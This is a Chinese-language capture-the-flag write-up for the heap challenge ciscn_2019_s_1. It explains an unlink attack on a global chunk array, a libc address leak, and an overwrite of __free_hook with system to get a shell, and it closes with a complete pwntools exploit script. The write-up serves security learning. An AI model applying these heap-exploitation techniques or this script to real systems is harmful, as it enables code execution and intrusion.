ciscn_2019_s_1

对数据挺敏感的一道题

1.检查

checksec.png

2.反汇编

有四个功能

unsigned __int64 menu()
{
  unsigned __int64 v0; // ST08_8

  v0 = __readfsqword(0x28u);
  puts("1.malloc");
  puts("2.free");
  puts("3.edit");
  puts("4.show");
  return __readfsqword(0x28u) ^ v0;
}

ma()

ma().png

很平常的一个创建chunk的函数，其中

0x6020E0 记录了chunk的地址，0x602060记录了chunk的大小，最多可以有32个chunk

ed()

ed().png

有了一个新的固定地址：0x6022BC

sh()

sh.png

这里也记录下了一个新的地址：0x6022B8

3.思路

整理信息

几个固定地址从低到高如下

地址	变量名
0x602060	len
0x6020E0	heap
0x6022B8	key2
0x6022BC	key1

创建chunk的时候，返回了chunk的地址，heap有用做管理chunk地址的全局指针，具有 Unlink 漏洞的特征
要getshell，就要修改程序的got表，那么就要进行信息泄露，但是 key2 锁住了对sh()的使用，那么就必须修改 key2 的值。发现 key1 的地址和 key2 的相近，就可以顺便修改 key1的值，从而可以多次使用ed()
经过远程测试可以发现，可以连续对同一chunk使用fr，那么环境因该是 libc-2.27即以上的环境，BUUOJ中明确给出了环境为 Ubuntu18

攻击思路

这里有两种思路，具体看你对数据是否敏感

简单的是小伙伴cnitlrt的思路，特殊点是发现bss端上(cnitlrt的简书)

如下

.bss:0000000000602060 len_602060      dd 20h dup(?)           ; DATA XREF: ma+CA↑o
.bss:0000000000602060                                         ; fr+AC↑o ...
.bss:00000000006020E0                 public heap_6020E0
.bss:00000000006020E0 ; void *heap_6020E0[32]
.bss:00000000006020E0 heap_6020E0     dq 20h dup(?)           ; DATA XREF: ma+49↑o
.bss:00000000006020E0                                         ; ma+B2↑o ...
.bss:00000000006021E0                 public pro
.bss:00000000006021E0 pro             db    ? ;
.bss:00000000006021E1                 db    ? ;
.bss:00000000006021E2                 db    ? ;
.bss:00000000006021E3                 db    ? ;
.....................                 ..    . .
.bss:00000000006022B8                 public key2_6022B8
.bss:00000000006022B8 key2_6022B8     dd ?                    ; DATA XREF: sh+17↑r
.bss:00000000006022BC                 public key1_6022BC
.bss:00000000006022BC key1_6022BC     dd ?                    ; DATA XREF: ed+17↑r
.bss:00000000006022BC                                         ; ed+EC↑r ...
.bss:00000000006022BC _bss            ends

在 heap_6020E0中，每个chunk占8字节，第32个就是 0x6020E0+832= 0x6021e0*，刚好在 pro 段上面，而 pro 段距离 key1 相差 0xD8，如果通过 Unlink 到这里，直接 ma的时候向chunk中添加数据就可以直接覆写 key1和 key2

1. 使用 Unlink 修改 key1 和 key2
2. 泄露 free_hook 和 _libc_system
3. Tcache_Dup后调用 free_hook 得到shell

还有一种，来自于博客https://blog.csdn.net/qq_37433000/article/details/107026628

这种方法非常复杂，但是不需要对数据太敏感，通过在libc-2.27中的 chunk_overlapping 来修改 key1和 key2

这里先讲第一种

4.GDB

1. 使用 Unlink 修改 key1 和 key2

1.为了之后得到unsortedbin，这里我们需要布局，同时这里的heap[32]->size，决定了之后能覆盖的大小

  #get unsorted bin
  for i in xrange(7):
      malloc(i,0xf8,str(i)*8)
  malloc(7,0xf8,'7'*8)
  malloc(32,0xf8,'20202020')
  malloc(8,0xf8,'8'*8)
  malloc(9,0xf8,"/bin/sh\x00")

2.为了能够覆盖到 key1，这里就选最后一个chunk：heap[32]为要unlink的chunk

  addr = 0x6020e0+8*32
  payload = p64(0)+p64(0xf1)
  payload += p64(addr-0x18)+p64(addr-0x10)
  payload = payload.ljust(0xf0,"\x00")
  payload += p64(0xf0)

3.先填满tcache，要不然unlink不会是双链表
```
  for i in xrange(7):
      free(i+1)
```
4.Unlink攻击
```
  edit(32,payload)
  free(8)
```

unlink.png

2. 泄露 free_hook 和 _libc_system

1.肯定要改写两个 key 的值
```
  payload = p64(0x0000000000601fa0)
  payload += p64(pro-0x18)+p64(pro-0x18)
  payload += p64(pro)
  payload = payload.ljust(0xf0,'\x00')
  payload += p64(0x0000000a00000001)
  edit(32,payload)
```
之前我们把heap[32]改成了 0x6021C8，那这次就是直接对0x6021C8编辑，反推算可以0x6021C8原本记录的是heap[29]，那这段payload就把heap[32]改成了 0x06021e0。同时该chunk距离 key 比较近，就可以改写

leak.png
2.直接调用sh

leak-2.png

3. Tcache_Dup后调用 free_hook 得到shell

其实这个也不算啥攻击方式，就是我们控制了一个指针

    edit(32,p64(free_hook))
    edit(32,p64(system))
    free(9)
    sh.interactive()

其实从上面那步就可以看出来，每次对heap[32]进行编辑时，我们都可以修改他得值，从而由 heap[32] -> free_hook，然后再次编辑就是在free_hook上面写了

5.exp

from pwn import *
elf = ELF("ciscn_s_1")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
sh = 0

def malloc(idx,sz,content):
    sh.sendlineafter("4.show\n","1")
    sh.sendlineafter("index:",str(idx))
    sh.sendlineafter("size:",str(sz))
    sh.recvuntil("gift: ")
    addr = u64(sh.recv(6).ljust(8,"\x00"))
    sh.sendafter("content:",content)
    return addr

def free(idx):
    sh.sendlineafter("4.show\n","2")
    sh.sendlineafter("index:",str(idx))

def edit(idx,content):
    sh.sendlineafter("4.show\n","3")
    sh.sendlineafter("index:",str(idx))
    sh.sendafter("content:",content)

def show(idx):
    sh.sendlineafter("4.show\n","4")
    sh.sendlineafter("index:",str(idx))

def main(ip,port,debug,mode):
    global sh
    if debug==0:
        context.log_level = "debug"
    else:
        pass
    if mode==0:
        sh = process("ciscn_s_1")
    else:
        sh = remote(ip,port)

    key1 = 0x06022BC
    key2 = 0x06022B8
    pro = 0x6021E0
    #get unsorted bin
    for i in xrange(7):
        malloc(i,0xf8,str(i)*8)
    malloc(7,0xf8,'7'*8)
    malloc(32,0xf8,'20202020')
    malloc(8,0xf8,'8'*8)
    malloc(9,0xf8,"/bin/sh\x00")

    addr = 0x6020e0+8*32
    payload = p64(0)+p64(0xf1)
    payload += p64(addr-0x18)+p64(addr-0x10)
    payload = payload.ljust(0xf0,"\x00")
    payload += p64(0xf0)
    
    for i in xrange(7):
        free(i+1)
    edit(32,payload)
    free(8)

    payload = p64(0x0000000000601fa0)
    payload += p64(pro-0x18)+p64(pro-0x18)
    payload += p64(pro)
    payload = payload.ljust(0xf0,'\x00')
    payload += p64(0x0000000a00000001)
    edit(32,payload)
    show(29)
    libc_base = u64(sh.recvuntil("\x7f")[-6:].ljust(8,"\x00"))-libc.sym["free"]
    free_hook = libc_base + libc.sym["__free_hook"]
    system = libc_base + libc.sym["system"]
    success("libc base ==> "+hex(libc_base))
    success("free_hook ==> "+hex(free_hook))
    success("_libc_system ==> "+hex(system))

    edit(32,p64(free_hook))
    edit(32,p64(system))
    free(9)
    sh.interactive()

if __name__ == '__main__':
    main(0,0,0,0)